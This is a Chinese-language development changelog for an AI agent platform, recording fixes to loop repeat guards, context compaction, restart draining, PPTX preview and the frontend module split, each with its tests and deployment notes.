拖拽文件**放下时落点 `#pane-right` 一次 `drop-pulse` 轻回弹脉冲**(`files.js` drop 处理器加 `.drop-pulse` + `animationend` once 自摘 + reflow 保证可重放);上述均纳入 reduced-motion 守卫。**刻意未做**:进度块「打勾」逐步动画——`chat.js` 每 tick `dock.innerHTML` 全量重渲染,keyframe 会逐 tick 重放,故不加。**未做(已定)**:「复制成功 ✓ 闪」——查实当前 SPA **无剪贴板复制功能**(`navigator.clipboard`/`writeText` 零处,"复制"按钮全是文件复制到目录且成功即关弹框),无现成触发点;加复制按钮属"加功能"非"微动效",用户决定先不加,故未保留 `.copied` 死 CSS,以后真加复制入口再接。前端测试 `frontend_task_progress.test.mjs` 仍过。
|
||||
- **上下文压缩加"压力门槛":体量未逼近上限前不压缩(护缓存 + 不丢旧细节)**:此前 `loop` 每轮无条件压缩,短任务也把旧 tool 结果砍掉——既白丢信息(context 预算还很空),又因压缩边界逐轮滑动破 DeepSeek 前缀缓存。落地 `prepare_messages_with_stats(compact_threshold_chars=...)`:总 chars 未超阈值则**完全跳过压缩、原样发**(短任务前缀逐轮字节一致、缓存全程命中);超阈值才走原压缩逻辑。loop 按 `caps.reliable_context × 0.5 × 2.5(char/token 粗折算)` 算阈值(flash ≈ 33 万 chars),`_COMPACT_CONTEXT_RATIO/_CHARS_PER_TOKEN` 两常量可调。`compaction_skipped` 进 stats/`llm_start` 事件可观测。默认阈值 0 = 永远压缩(向后兼容)。背景:实测 task `b27466a0` DeepSeek 缓存命中已 92-94%、滑动边界损失有限(压缩函数确定性、旧消息压缩态稳定),故只补门槛、不改边界为阶梯式(收益仅再抬几个点不值复杂度)。新增 2 测试(below/above 门槛),全量 105 过。
|
||||
- **单轮停机判据从"步数"解耦为"是否在推进":`max_iterations` 升为纯 backstop + 新增全局「无进展」熔断 + 撞顶明确提示**:DB 诊断 task `b27466a0`(智能体介绍 PPT)所谓"中途断了"——查实=该 run 跑满 `max_iterations`(flash 旧值 50)后 `return "[reached max iterations]"` 干净停下、留一条悬空 tool 结果,用户离开 25min 回来打"继续"才续完(`run_status=idle/run_error=None`,非崩溃);"步骤太长"=少数轮 DeepSeek API 延迟 126-185s,工具本身全 <13s;顺带实测该 task DeepSeek 前缀缓存命中 92-94%,**上下文压缩对缓存几乎无害**(压缩函数确定性→旧消息压缩态稳定,只滑动边界这一处断,每轮 miss 几十~几百 token)。**洞察**:`max_iterations` 把"用户感知的轮(来回对话)"和"一轮内自主工作步数"混在一个旋钮上——自主 tool 链概念上是 1 轮,该松;真正要掐的是"空转"。落地:① yaml `max_iterations` flash 50→120 / pro 100→150,dataclass 默认 50→120,定位为安全兜底非"轮"预算;② `_RepeatGuard.record` 多返一个 `productive`(净产出=非 `[Error]` 且非一字不差重复);③ `_execute_tool_call` 三个返回点都带 `productive`(invalid-JSON/被拦=False);④ run loop 累计 `self._stall`——整步所有 tool 都无净产出则 +1、任一净产出清零,连续 `_STALL_LIMIT=8` 步空转主动停(`[stopped: no progress]`),比撞 120 早得多掐死循环,配 `_RepeatGuard` 逐指纹 HARD=4 双保险;⑤ 撞 backstop / 熔断都 emit 明确"回复『继续』可接着跑"提示,不再静默停。`tests/test_loop_repeat_guard.py` 更新 record 解包调用 + 加 `productive` 信号用例(17 例过,全量 103 过)。
|
||||
- **`systemctl restart` 优雅 drain in-flight run(单实例止血,不再误标 error)**:此前 restart 硬杀 BG run 线程,下次启动 reaper 把所有 `running/cancelling` 标 `error: server restarted before run finished` —— 用户一多就不能随便重启。落地纯进程内、**零 DB 改动**:① lifespan 加 `app.state.draining`(asyncio.Event)+ `app.state.inflight`(`{asyncio.Task: task_id}`,顺手修 `create_task` 不留引用可能被 GC 的旧坑);② POST `/messages` 起 run 时登记+done 回调自摘除,draining 置位时返 503+`Retry-After`;③ lifespan `finally` 先置 draining 拒新 run,`asyncio.wait(inflight, drain_timeout)` 等收尾,超时的 `broker.request_cancel` 转协作式 cancel(下个 chunk 间隙退、标 idle 不报 error),再过 `cancel_grace` 仍没退的留给 SIGKILL(最坏退化=改前)。④ `main.py` uvicorn 加 `timeout_graceful_shutdown=5`(否则长连 SSE 无限挡在 drain 前);⑤ `config/agent.yaml` 加 `shutdown` 段(drain_timeout 30s / cancel_grace 15s,超时转 cancel = 用户按停止可重发,故偏短);⑥ dev SPA `chat.js` 发送包退避重试(503 背压 + 交接拒连 TypeError 都重试 ~26s,显"服务更新中",耗尽贴友好提示)。**部署强耦合**:unit `TimeoutStopSec` 从 10 提到 90(必须 > drain+grace+sandbox 清扫余量,否则 SIGKILL 砍掉 drain),已写进 RUN.md unit + 故障兜底。B 蓝绿(零 503 窗口)留作触发信号后再做,前置是 instance-aware reaper(§7.8)。
|
||||
- **system prompt 精简(瘦身 ~40 行 + 媒体段按需注入)**:`general_v1.md` + `_build_system_prompt` 去冗余:① 「宪法」文件命名约定从 ~25 行压到 ~6 行(只留格式定义 + 注入值 + 一行 current/重定调,操作细节本就由 proposal/ppt skill 各自讲,引用仍成立);② run_python「先 write script 再 script_path」指引去重(原模板 + agent_builder 两处 → 合并进模板 1 处,顺带把 `scripts/` 子目录约定收进去);③ 媒体工具段(seedream/seedance 红线)从常驻模板抽成 `_MEDIA_TOOLS_BLOCK`,仅 `ArkConfig.load() is not None`(有 ARK_API_KEY)时由 agent_builder 追加——无 key 用户不再背 7 行永远报错工具的说明,且 ark_cfg 提前 load 一次复用给下方 tool 注册;④ 「路径 echo 全形式」段 8 行压到 4 行。通用任务每轮 system prompt 净瘦 ~40-50 行,领域 task 加载 skill 后信息不丢。`test_system_prompt_paths` 仍过。
|
||||
- **上下文压缩加压力门槛**:压缩只在总 chars 超阈值(`caps.reliable_context×0.5×2.5 char/token`,flash ≈33 万)时才做,未超则原样发——护 DeepSeek 前缀缓存(短任务字节逐轮一致、全程命中)+ 不白丢旧细节。`prepare_messages_with_stats(compact_threshold_chars=)`,`compaction_skipped` 进事件;默认 0=向后兼容永远压。实测高轮 task 缓存命中已 92-94%,故只补门槛不改滑动边界。+2 测试。
|
||||
- **单轮停机判据从「步数」解耦为「是否在推进」**:`max_iterations` 从「轮预算」降级为纯安全 backstop(flash 50→120 / pro 100→150),真正掐空转靠两道进展信号——`_RepeatGuard` 逐指纹「无产出重复」累计(SOFT2 注提示 / HARD4 拦截)+ run 级全局 `_stall`(整步所有 tool 无净产出 +1、任一净产出清零,连续 8 步主动停)。撞 backstop / 熔断都 emit「回复『继续』可续跑」提示,不静默停。(诊断:task `b27466a0` 所谓「中途断」实为撞旧 50 步上限干净停下。)
|
||||
- **`systemctl restart` 优雅 drain in-flight run**:restart 不再硬杀 BG run 致 reaper 误标 error。纯进程内零 DB 改动:lifespan 加 `draining` + `inflight` 登记,先拒新 run(503+Retry-After)再 `asyncio.wait(drain_timeout)` 收尾,超时转协作式 cancel。部署强耦合:unit `TimeoutStopSec` 提到 90(必须 > drain+grace),前端发送包退避重试。
|
||||
|
||||
### 2026-06-09
|
||||
|
||||
- **PPTX 前端在线预览(LibreOffice→PDF,DESIGN §8.3 Stage 1)**:此前文件区点 `.pptx` 只能下载(`preview.js._categorize` 归 fallback)。关键洞察=前端已有 PDF iframe 路径(`_showPdf`),所以只要后端把 pptx 转 PDF 就**前端几乎不动**。落地:① 新 `web/pptx_render.py`——`pptx_to_pdf()` 同步可缓存,调 `soffice --headless --convert-to pdf`、**每次独立 `-env:UserInstallation` 临时 profile** 绕单 profile 锁、超时 60s kill;soffice 路径发现复用 render_bg 思路;缓存落源同目录 `.preview/<stem>.<hash>.pdf`(hash=mtime+size,源改即失效;dotdir 不污染文件列表),`_prune_stale` 清旧 hash。② 新端点 `GET /v1/files/preview_pdf`——复用 `_safe_join` 鉴权防穿越 + 仅 `.ppt(x)` + per-path `asyncio.Lock` 防并发重转 + `run_in_executor` 不堵事件循环;soffice 缺失 501 / 转换失败 500。③ `preview.js` 加 `ppt` 组,main/mini 共用 `_showPptAsPdf`(fetch PDF→iframe,带 spinner loading + 失败回退下载),`dev.html` 加 `.preview-spinner`(复用 `@keyframes spin`)。**转换跑在 web host 进程,不进沙盒**(沙盒不该有 LibreOffice;预览面向 user_root 任意 pptx,与 deck 生成解耦)。部署:host `apt install libreoffice-impress fonts-noto-cjk`(已写进 RUN.md 一次性 + 故障兜底),sandbox Dockerfile 不动。**未做**(Stage 2):常驻 soffice listener 消冷启、deck 生成后 eager 预转、缩略图导航。
|
||||
- **药3 复核:`/home/ubuntu/zcbot` 幽灵路径已于 06-03 修复,新任务不复现 + 加回归测试钉死**:接续高轮数烧 token 诊断收尾。证据链——失败 task `ab063233`(06-02 03:54)/`ff1686b7`(06-03 12:02)的首条 assistant 消息(idx1)tool_calls 里就带 `glob(path=/home/ubuntu/zcbot/workspace/users/<真实uid>/数据资源展示)`,**带真 uid 只可能来自当时的 system prompt**(messages 表无 system-role 行,系统提示运行时拼接不入库);两 task 均建于 06-03「system prompt 焊死宿主路径」修复前后。fs 工具在 docker 容器里跑(容器无此宿主路径)→ `[Error] base path not found`(`glob.execute` 对不存在 base 返此错,`_display` 对 user_root 外路径回绝对)→ 重试风暴(实测 51 次)。**复核当前代码**:docker 模式即便传 `tool_base=/home/ubuntu/zcbot` + 真 uid,拼出的 prompt 只含 `/workspace/<wd>`、不含宿主路径/uid/tmp(`agent_builder.py:223-250` docker 分支注入容器路径 + 删 cwd 行);prod 走 docker backend(RUN.md)。新增 `tests/test_system_prompt_paths.py`(2 例:docker 无宿主泄漏 + host 保留本地绝对路径,过)锁住修复防回归。**三味药全部收口**;药1 重复守卫此后还兜底任何同类风暴(同一 51 次会被摁到 ~5 次)。无功能代码改动,仅加测试。
|
||||
- **ppt skill 补「信息设计纪律」+ 混合背景 + pptx 预览器(治"效果还是不太行",深读 pptmaster 后的二次修正)**:用户反馈卡片式 v2 仍不够好,拆其真实产物(`大模型与智能体介绍.pptx`)定位毛病=9 页 4 页雷同卡片网格(全卡=AI 味)、发展历程做成网格(该时间轴)、智能体平铺(该闭环)、图标 0.6 寸太小、投影到处加。**深读 pptmaster 的 executor-base/executor-consultant(-top)/shared-standards 后顿悟**:它像麦肯锡的真因是**信息设计纪律(~70%)**而非 SVG 渲染(~30%),而这些**全是 editable python-pptx 能做的**——之前纠结的"可编辑 vs SVG 转换器"搞错了轴(可编辑都落 DrawingML 同一天花板,转换器零视觉增益)。落地三层:① **信息内功**——`add_takeaway`(论断标题下一句话结论框)、`add_kpi` 加 `baseline+delta`(数据语境化:数字带对比基准+升降色 `GOOD/BAD`)、`add_source`(来源)、`add_toc`(贯通整宽目录);SKILL 策略阶段加论断式标题对照表 + page_rhythm(anchor/dense/**breathing 强制打破卡片网格**)+ 内容→版式映射写进逐页大纲。② **修我搞反的投影**——pptmaster"投影是克制":`add_card` 默认 `shadow=False`(平铺对等卡描发丝边不投影)、每页 ≤2-3 投影、一容器一手段不叠;quality_check 加绿=语义状态色豁免三色制。③ **组合件 + 工具**——`add_card_grid`(均衡网格,2 行改图标左置治"图标顶置挤溢出")/`add_timeline`/`add_cycle`;`render_bg.py`(无头 Chrome 渲杂志级 mesh 渐变背景图,**混合方案**:背景图+原生可编辑白字,封面/章节);**`pptx_preview.py`(把 .pptx 渲成 PNG 肉眼验观感)——quality_check 只查结构,预览补"好不好看",当场抓到 `set_text` 多行只给第一段上色的真 bug(封面副标题第二行变暗看不见)并修复**。验证:重排「大模型与智能体」为 10 页(节奏:封面/目录/章节 anchor · 网格/时间轴 dense · 大字 breathing · 章节/闭环/网格 · 致谢),逐页渲 PNG 亲眼验收均专业,quality_check 全过。改 `skills/ppt/{SKILL.md,references/{design_principles,layouts}.md,scripts/{pptx_helpers,quality_check}.py}` + 新增 `scripts/{render_bg,pptx_preview}.py` + `SKILL_LIST.md`。**未动**:SVG→原生转换器(论证为零增益不做)、live preview server、动画;fetch_icon 的 PNG 后端(cairosvg/svglib)本机未装,暂用种子库 PNG。
|
||||
- **PPTX 前端在线预览(LibreOffice→PDF,DESIGN §8.3 Stage 1)**:文件区点 `.pptx` 改在线预览。关键洞察=前端已有 PDF iframe 路径,所以后端把 pptx 转 PDF 即可前端几乎不动。新 `web/pptx_render.py`(soffice 转 PDF,独立临时 profile 绕单 profile 锁 + 缓存 `.preview/<hash>.pdf` + 超时 kill)+ `GET /v1/files/preview_pdf`(复用鉴权防穿越 + per-path lock + run_in_executor)。转换在 web host 进程不进沙盒;部署装 libreoffice-impress + noto-cjk。
|
||||
- **药3 复核:`/home/ubuntu/zcbot` 幽灵路径不复现 + 回归测试钉死**:该路径(docker 下 system prompt 焊死宿主路径,容器内找不到致 51 次重试风暴)已于 06-03 修复,复核当前代码 docker 分支只注入容器路径不泄漏宿主路径/uid。加 `test_system_prompt_paths.py`(2 例)防回归。高轮数三味药全部收口。
|
||||
- **ppt skill 补「信息设计纪律」+ 混合背景 + pptx 预览器**:深读 pptmaster 后定位 ppt 观感差真因是信息设计纪律(~70%)非 SVG 渲染(~30%)——且这些全是 editable python-pptx 能做的。加 `add_takeaway`/`add_kpi(baseline+delta)`/`add_source`/`add_toc` + 组合件 `add_card_grid`/`add_timeline`/`add_cycle` + `render_bg.py`(Chrome 渲 mesh 渐变背景)+ `pptx_preview.py`(渲 PNG 肉眼验观感,当场抓到 set_text 多行只给首段上色的 bug);投影改克制(`add_card` 默认不投影)。**未动**:SVG→原生转换器(论证零增益)。
|
||||
|
||||
### 2026-06-08
|
||||
|
||||
- **loop 加病理性重复调用守卫(药1,治「不停调用同一脚本」的根因 ①②)**:接续批量化诊断——DB 实测高轮数 task 的浪费大头是「同名同参 + 无产出」的重复(`document_search` 122 次、空 `shell{}` 51 次、反复 `glob` 同一不存在路径),而 `core/loop.py` 主循环原本对此**零防护**照单全收。新增 `_RepeatGuard`(AgentLoop 实例持有、活在单次 run 内不跨 task):按 `(工具名, 精确参数 canonical-json)` 指纹跟踪「无产出重复」计数。**命门是只惩罚无产出、绝不误伤正常迭代**——同参但**结果每次不同**(改脚本后重跑 run_python、修 bug 后重跑构建)算有产出、计数清零永不拦;同参且**结果是 `[Error]` 或与之前一字不差**才累计。两档:累计 ≥`SOFT`(2)在 tool 结果尾部注入 `[重复调用警告]` 软提示(模型当轮即见);≥`HARD`(4)下一次同参调用 `should_block` 直接拦截不执行、回 `[已拦截重复调用]` 硬停消息逼其换路(一个卡死调用最多放过 ~4 次无产出重复)。**顺带堵 `_malformed_tool_calls` 的洞**:大参数畸形退化成合法空 `{}` 时 executor 每次返同一句「缺少必填参数」→ 走 dup 分支被同一机制拦下,无需单独特判空 `{}`。`_execute_tool_call` 接线:执行前 `should_block` 拦截、执行后用**截断后未加提示的原始结果**算指纹 `record`(保证同输出哈希一致)、`warn` 事件上抛拦截/首次软提示。改 `core/loop.py`;新增 `tests/test_loop_repeat_guard.py`(7 用例:同错拦截/空`{}`堵洞/同结果拦截/变化结果不拦/修好清零/SOFT 阈值/异参分别跟踪,全过)。**注**:阈值常数化(SOFT/HARD)便于后续按实跑调;药3(`/home/ubuntu/zcbot` 幽灵路径是否新任务仍复现)仍未查。
|
||||
- **检索/抓取类 host 工具批量化(治高轮数烧 token,先做的「web_fetch 类」一味药)**:DB 实测诊断(`scripts/diag_*.py`)高轮数 task 的 tool_call 序列——`ff1686b7` coding 任务 `document_search` **122 次**(104 个不同 query,关键词反复微调地毯式搜不收敛)、`document_download` 28 次;`ab063233` documents 任务 **64% 的 tool 结果带错误** + `shell{}`/`run_python{}` 空参数风暴。定位「不停调脚本」是三股根因叠加(空 `{}` 风暴 / 报错重试 / 检索不收敛),其中检索/抓取的往返成本可由**工具形态改造**直接压。本轮把三个 host 工具从「一次一个」改成**接受列表、一轮并发处理一批**(按「开发期不写兼容层」直接换签名、不留单数别名):① `web_fetch` `url`→`urls`(1-10,ThreadPoolExecutor 并发 6,全批正文总预算 16000 字符按条数分摊,单条 SSRF/超时/404 不连坐);② `document_search` `query`→`queries`(1-8,**批内去重** + 批量时自动缩 `max_documents`/`content_chars_per_doc` 防爆 context,每 query 独立 try);③ `document_download` `file_name+kb_name`→`items=[{...}]`(1-10 并发,单条失败标 `[Error]` 不毁整批)。三者输出都按条标注 `=== [i/n] ... ===`、超量截断明示不静默。`tools/{web_fetch,documents}.py` 改;`tests/test_secret_host_tools.py` 同步改新形态 + 加批量并发/去重/失败隔离 3 用例(5 过);`skills/documents/SKILL.md` 签名/工作流/反模式更新(加「一个 query 一轮反复搜」「同义近重复 query 堆叠」两条反模式,呼应诊断 ③)。`DOCUMENT_SEARCH_API.md`(上游 HTTP 接口,本就单 query/次)不动。**未动**:药1(loop `(name,args)` 重复探测器 + 堵空 `{}` 洞,最高杠杆但动核心 loop)、药3(`/home/ubuntu/zcbot` 幽灵路径是否新任务仍复现)——见记忆 `project_high_turn_token_burn_root_causes`,留作后续。
|
||||
- **ppt skill 视觉系统升级为「卡片式」(治"生成效果不太行")**:学 GitHub `hugohe3/ppt-master`(24.9k★)后定位根因——其好看的核心是「SVG 作画→转原生 PPTX」给足设计自由度,而 zcbot 被 python-pptx **原语**(平矩形+左色条+圆点 bullet)摁死了视觉天花板,出来就是"2010 办公模板"。岔路三选(A 自建 SVG→pptx 转换器=最高天花板但大工程且与"一脚本整建/少来回"冲突;B 升级 python-pptx 设计系统;C 混合),**选 B**(保留单脚本批量架构、原生可编辑、风险低)。落地:① `pptx_helpers.py` 加质感件——`add_card`(圆角矩形 `adjustments[0]` 调圆角 + `a:outerShdw` XML 柔和投影)/`add_gradient_rect`(`fill.gradient()` + 角度)/`add_kpi`(数字卡)/`add_icon_tile`(图标底块)/`add_pill`/`add_eyebrow`/`add_chevron`/`add_notes`(演讲者备注),`set_palette` 从主/辅/强调**派生明暗色阶** `PRIMARY_WASH/SOFT/DARK`+`ACCENT_SOFT`;`apply_brand` 封面/章节改**渐变大色块**;**所有 helper 把 `name=` 写进形状 `.name`**(原来只喂 assert_inside,导致 quality_check 拿不到语义名)。② `layouts.md` 9 版式重写成卡片式 + 扩到 **13 种**(加 L10 KPI 卡 / L11 卡片网格 / L12 流程 / L13 大数字论据)。③ **quality_check 跟新设计语言对齐**(否则每个 deck 淹在假警告里):三色制改**按色相归桶**判(主色深浅/wash tint 不算新色)、小字号/bullet 按 `.name` 豁免标签类、大号展示字(≥40pt)跳过溢出估算、bullet ≤5 改**按列**判(双栏 3+3 不误报、单列 6 仍抓)。④ SKILL.md 工作流加 opt-in 真实配图(走 imagegen,¥0.22/张,大纲标 `[img]`)+ 每页 `add_notes`;`design_principles.md` 加派生色阶/KPI 卡/图表透明底卡片化。验证:13 版式全覆盖 demo deck 建成 + quality_check 全过;单列 6-bullet 回归仍触发。改 `skills/ppt/{SKILL.md,scripts/pptx_helpers.py,scripts/quality_check.py,references/layouts.md,references/design_principles.md}` + `SKILL_LIST.md`。**未动**:SVG 路线(A)、live preview、动画——属更大工程,本轮不上。
|
||||
- **system prompt 加「少来回」全局原则(广谱减轮)**:ppt 之外的长尾 task(改代码/跑数据/画图)没专属 skill 兜,加一条通用 `工作原则`:互相独立、不依赖中间结果的操作(建多页产物/批量改文件/生成整份产物)合到一个脚本或一轮并发 tool call 里做,别一步一 call(每轮重发整段上下文,轮数=token 体量线性乘数);但下一步输入要看上一步结果时(探索检索/按报错改/需用户确认)就老实分步,别硬批——精准措辞避免"过度批处理"踩掉该有的 checkpoint。定位是便宜补充(prompt 走缓存近零成本),不指望它动 100+ 轮大头(那靠结构改造)。改 `prompts/system/general_v1.md`。
|
||||
- **ppt skill 工作流批量化(减高轮数 task 的来回)**:实测高成本 task 几乎全是 100+ 轮的"逐步 tool 调用循环"(rust→PPT 34 轮、文献采集 245 轮),每轮重发整段上下文,轮数是 token 体量的线性乘数。ppt 是最易压、风险最低的试点:原 §阶段二**逐页**(每页 `读spec→glob图标→一个 run_python 加页→等用户确认→下一页`,N 页 ~2N 轮)。改法:① 阶段一 spec 增「逐页大纲」表(页|版式|标题|要点|图标),作为**替代逐页确认的前置 checkpoint**——改文字大纲比建完 slide 再推翻便宜;② 阶段二改成**写一个 `build_deck.py` 一次建整 deck**(同进程 `new_presentation`→按大纲循环 `add_slide`→一次 `save`,坐标天然一致;`pptx_helpers` 模块化已消解原"逐页防漂移"理由),图标**全 deck 批量预取**(不逐页拉);③ quality_check 一次 → 改脚本重跑(不 edit 成品);④ 可选"风格探针"(先建封面+1 页看观感)兜视觉返工险。N 页从 ~2N 轮降到 ~3-4 轮。改 `skills/ppt/SKILL.md`(阶段一/二/三 + 反模式 + 文件树)、`references/layouts.md`(§通用起手换成"整 deck 单脚本"模板)、`SKILL_LIST.md`(流程描述/典型产物同步)。冒烟过:单脚本 `new_presentation`+循环 `add_slide`+`save` 建 2 页成功,API 调用与模板一致。**注**:数据采集类(host 工具中转免不了)是另一条路(拆采集/处理相位),未动。
|
||||
- **修进度还原错乱 + 进度区移到对话区顶部(codex 式)**:根因(查 DB 实锤)= 上下文压缩把旧 `task_progress` tool_call 参数换成 `{"_compacted":true,"step_id":"sX"}` 这种"看着像合法调用"的标记,① 毒化模型让它后续照抄出残废 `update_step`(丢了 `step.status`)并入库,② 残废格式前端 `applyProgressAction` 读不到 `args.step` → s4/s5 永停 pending → 进度显示不对。修复:`context.py` 对 `task_progress` 参数**一律不压缩**(参数本就小,压缩省不了几个 token 却两头坏事);旧的 `_compact_task_progress_arguments` 整个删除。**进度展示重构**:删掉每条消息卡内联进度块(`renderProgressHtml`/`renderProgressInto` 移除),进度统一只在**对话区顶部**单一 `#task-progress-dock`(从 composer 上方移到 `chat-stream` 之上、`flex-shrink:0` 钉顶不滚)实时显示;**完成态折叠**——全部步骤 completed 时 dock 自动收成一行 `✓ 全部完成 · N/N 步`(`<details>` 点开看清单)。prompt + tool 描述改为"跑完把最后一步标 `completed`、不要 `clear`",留住全绿收尾。校验:`python -m unittest tests.test_context_compaction tests.test_task_progress_tool`(12 过,改写 `test_keeps_old_task_progress_arguments_intact` 断言参数原样保留);`node --test tests/frontend_task_progress.test.mjs`(2 过)。
|
||||
- **修登录无反应(`$ is not defined`)+ 补 favicon 消 404**:`newtask.js` 用了 DOM 简写 `$`(`dom.js` 导出的 `getElementById`)却漏 import,模块加载到顶层 `$("hd-new").onclick` 即抛 `ReferenceError: $ is not defined`,中断 newtask 全部绑定及其 import 的 auth/chat 链路 → 点登录无反应。补 `import { $ } from "./dom.js"` 与其余模块对齐。另在 `dev.html` `<head>` 加内联 SVG data-URI `<link rel="icon">`(蓝底白机器人),浏览器不再请求根 `/favicon.ico`,消掉 404;选内联 SVG 而非新增 `.ico` 文件 / 服务端路由,零新增文件零 app.py 改动。
|
||||
- **新增 Codex 式 `task_progress` 进度工具 + Web 固定进度区**:`TaskProgressTool` 默认注册到 agent,支持 `set_plan/update_step/clear`,返回极短 UI-only 结果;上下文压缩对旧 `task_progress` tool_call/result 做专门折叠,避免进度历史长期占 prompt。前端新增 `progress.js` 做 task 级进度状态合并,修复 `update_step` 只带 `{id,status}` 时因缺标题不显示的问题;当前进度显示从助手消息内提升到 `#task-progress-dock`(对话流下方、输入框上方),历史消息内仍保留进度块作记录。system prompt + coding/ppt/proposal/analyze skill 加轻量使用约定,要求只在多步骤关键阶段少量更新。**部署侧补静态资源 no-cache**:`NoCacheStaticFiles` 替换默认 `StaticFiles`,让浏览器重新校验 `/static/*.js` 等资源,避免前端修复已部署但旧 `chat.js` 仍被缓存导致看不到进度区。校验:`pytest tests/test_context_compaction.py tests/test_task_progress_tool.py tests/test_executor_docker.py tests/test_static_vendor.py -v` 相关集通过;`node --test tests/frontend_task_progress.test.mjs` 2 过;`node --check web/static/js/chat.js web/static/js/progress.js` 过。
|
||||
- **loop 加病理性重复调用守卫(药1)**:`_RepeatGuard` 按 `(工具名, canonical 参数)` 指纹跟踪「无产出重复」——结果每次不同(改脚本重跑)算有产出、清零永不误伤;结果是 `[Error]` 或一字不差才累计;SOFT2 注软提示、HARD4 拦截。顺带堵 `_malformed_tool_calls` 退化成空 `{}` 的风暴。+`test_loop_repeat_guard.py`(7 例)。
|
||||
- **检索/抓取类 host 工具批量化**:DB 实测高轮数烧 token 三股根因(空 `{}` 风暴 / 报错重试 / 检索不收敛)。把 `web_fetch`/`document_search`/`document_download` 从单数改列表入参、一轮并发处理一批(批内去重 + 单条失败隔离 + 超量截断明示),直接换签名不留单数别名。
|
||||
- **ppt skill 视觉系统升级为卡片式**:学 ppt-master 后岔路三选,选 B(升级 python-pptx 设计系统,非自建 SVG 转换器——保留单脚本批量架构、原生可编辑)。`pptx_helpers` 加 add_card/gradient/kpi 等质感件 + 派生明暗色阶,layouts 扩到 13 版式,quality_check 按色相归桶对齐三色制。
|
||||
- **system prompt 加「少来回」全局原则**:互相独立的操作合到一个脚本 / 一轮并发 call(轮数=token 线性乘数),但需看上一步结果的就老实分步。便宜补充(走缓存),不指望动 100+ 轮大头。
|
||||
- **ppt skill 工作流批量化**:阶段二从逐页(每页一 run_python,~2N 轮)改成写一个 `build_deck.py` 一次建整 deck + 图标全 deck 批量预取,逐页大纲表替代逐页确认。N 页降到 ~3-4 轮。
|
||||
|
||||
### 2026-06-06
|
||||
|
||||
- **前端模块化 Step 2 收官:抽出 `chat.js`(对话视图)+ main.js 缩成 75 行入口**:最后也是最缠的一块——任务列表(浏览/筛选/滚动)+ selectTask 切换 + renderChatMeta/模型下拉 + renderMessages + live-run 助手 + sendMessage/cancel + fetchSse/handleSseEvent + 润色/粘贴文件 + 完成/废弃/删除/导出/清空(原 main.js 连续区 64–1132)→ `chat.js`(1086 行)。**决策:合一个 chat.js 而非强拆 tasks.js+stream.js**——读完依赖图确认二者共享 `state.liveRuns` + `chat-stream` DOM + run 生命周期,且 live-run 助手(renderLiveRunIfVisible/ensureRunningTaskSubscribed 等)被 selectTask 和 SSE 机器两边调用、骑墙;强拆会制造双向各 ~4-5 个 import 且边界不自然(用户已确认选合一)。导出 `loadTaskList`/`loadModels`/`selectTask`,embed/files/newtask 对这三个的 import 从 `./main.js` 改指 `./chat.js`;`formatUploadProgress` 加 export(粘贴上传进度用)。**chat 不调 enterApp → 与 main 无环**。`main.js` 仅留 `enterApp`(编排)+ `loadStorage` + Esc 关栈 + boot = **75 行入口**,import 精简到 11 行(layout/markdown/media 不再被 main 直接引用,但经 chat 仍在依赖图、副作用照常)。**校验升级**:除 node 全检 + import/export 一致性,新增**从 main BFS 的模块可达性检查**(14/14 可达,确保副作用模块不掉出图)。dev.html 4087 行单文件 → 14 个零构建 ES module + 纯 HTML;main 2719→75。**路径 1(拆文件)完成**,后续可按需进路径 2(给 chat/files 等局部引 Alpine/petite-vue 响应式)。
|
||||
- **前端模块化 Step 2:抽出 `embed.js`(iframe 模式)**:父页面经 postMessage 推 token 进入应用 + 401 重签(原 main.js 1147–1209 + 顶层 `_embedInitialTaskHandled` 一次性标志)→ `embed.js`(75 行)。导出 `embedInit`(boot 调)+ `embedPostToParent`/`embedShowWaiting`(auth 的 logout 在 embed 下通知父页面/显示等待态)——后两个从 main 迁出后,`auth.js` 对它们的 import 从 `./main.js` 改指 `./embed.js`(auth 仍从 main import enterApp)。反向 import main glue `enterApp`/`loadTaskList`/`selectTask`。main↔embed、auth↔embed 均运行时调用环,安全。main.js 删至 **1154 行**(2719 行起,已搬出约 58%)。node 全检过、import/export 一致性过、静态测试 2 过。剩 main 内:`enterApp` glue + tasks(列表/选择/渲染消息)+ stream(发送/SSE)+ boot + Esc 关栈,待最后一并处理 tasks+stream。
|
||||
- **前端模块化 Step 2:抽出 `newtask.js`(新建任务弹框)**:任务名 / 工作目录(新建 sentinel 或复用已有 + 二级 input 联动)/ 描述 / skill / 模型 select,提交 `POST /v1/tasks`(原 main.js 1146–1320)→ `newtask.js`(186 行)。顶层自绑 hd-new 打开 / nt-go 提交 / 各 input 联动;唯一对外导出 `loadFolderSuggestions`(供 main enterApp 初始化顶部 filter-wd、files 复制/移动后刷目录)——它从 main 迁来后,`files.js` 对它的 import 从 `./main.js` 改指 `./newtask.js`。反向 import main glue `loadModels`(加 `export`)/`loadTaskList`/`selectTask` + `logout`(auth)。main.js 删至 1220 行。node 全检过、import/export 一致性校验过、私有符号清零。
|
||||
- **前端模块化 Step 2:抽出 `media.js`(工具活动标签 + artifact 抽取/渲染)+ 收敛 downloadFile 反向依赖**:对话内 `toolActivityLabel`(工具调用→中文活动名)、`extractArtifactRels`(从结果文本/working_dir 提产物路径)、`extractMediaBanner`(seedream/seedance 横幅)、`renderArtifactBarHtml`(产物 chip 条 + 图/视频内联占位)、`upgradeMediaArtifacts`(占位异步 fetch blob 填 `<img>`/`<video>` 带缓存)、`downloadFile`(blob 下载)→ `media.js`(237 行,原 main.js 1134–1359)。**收敛点**:downloadFile 移入 media 后,`preview.js`/`files.js` 对它的 import 从 `./main.js` 改指 `./media.js` —— 把这条反向依赖从 main 挪开。media 导入极少(`escapeHtml`/`_categorize`(preview)/`state`/`logout`),与 preview 成 media↔preview 环(均运行时调用,安全)。**两次险漏靠校验抓回**:① 共享 const `ARTIFACT_PRODUCING_TOOLS`(main renderMessages/SSE 用 4 处,`.has()` 访问非函数调用,"被调标识符"法漏掉)② 内部函数 `_flushMediaArtifactCache`(selectTask 切任务清缓存用)—— 残留符号检查发现后补 export。新增**全模块 import/export 一致性校验脚本**(每个 `import{X}` 必在目标 `export`),11 模块全过。main.js 删至 1393 行。`node --check` 11 模块全过、静态测试 2 过。
|
||||
